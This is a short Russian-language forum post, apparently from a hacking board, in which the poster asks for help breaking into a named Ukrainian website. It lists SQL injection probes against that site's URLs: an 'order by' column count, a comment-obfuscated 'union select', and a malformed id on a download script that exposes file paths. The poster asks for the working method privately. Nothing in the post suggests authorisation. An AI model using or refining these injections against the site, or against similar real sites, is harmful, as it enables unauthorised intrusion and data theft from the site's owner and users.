уже долго ковыряю не могу пробиться.. может у кого и получится если да то скиньте потом в личку как, просто уже спортивный интерес появился

тут sql inj

полей вроде как 5 если судить по
http://www.krapka.te.ua/krasunja.php?id=-1+order+by+5--

но такая конструкция говорит что не то количество столбцов
http://www.krapka.te.ua/krasunja.php?id=-1/**/union/**/select/**/1,2,3,4,5--


тут тоже есть видно пути
http://www.krapka.te.ua/download/downloader.php?id=-1+/*

еще есть подключеная IRC но багов к ней я не нашол, а может плохо искал

http://www.krapka.te.ua/chat